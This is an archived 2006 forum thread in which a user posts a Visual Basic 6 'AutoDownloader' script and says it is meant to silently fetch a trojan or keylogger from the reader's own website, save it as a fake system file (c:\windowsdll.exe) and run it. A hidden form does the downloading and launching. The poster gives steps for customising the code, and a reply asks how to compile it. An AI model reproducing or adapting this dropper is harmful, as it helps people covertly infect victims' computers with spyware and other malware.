PDA

View Full Version : [VB6]AutoDownloader script



Mr. Hasselhoff
06-06-2006, 02:33 PM
With this script you can download every file from a site you want invisible and save it on the hard disk.And open the file invisible

Past code below in the form and change these things.

http://www.yoursite.com/trojan - Change This one to your site with your trojan/keylogger on it.
c:\windowsdll.exe - Change this if you wanna save it somewhere else and with another name.

Remember good, Change c:\windowsdll.exe at shell too.Cos else he won't start the .exe




Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
"URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long

Private Sub Form_Load()
Form1.Visible = False
Dim iReturn As Long
Dim saveto As Long
iReturn = URLDownloadToFile(0, " http://www.yoursite.com/trojan", "c:\windowsdll.exe", 0, 0)
Shell "c:\windowsdll.exe"
End Sub

laurens
01-10-2007, 11:48 AM
srry for this noob question but
where can i get vb6 compiler or is it sort php??
and in what format do i need to save it to run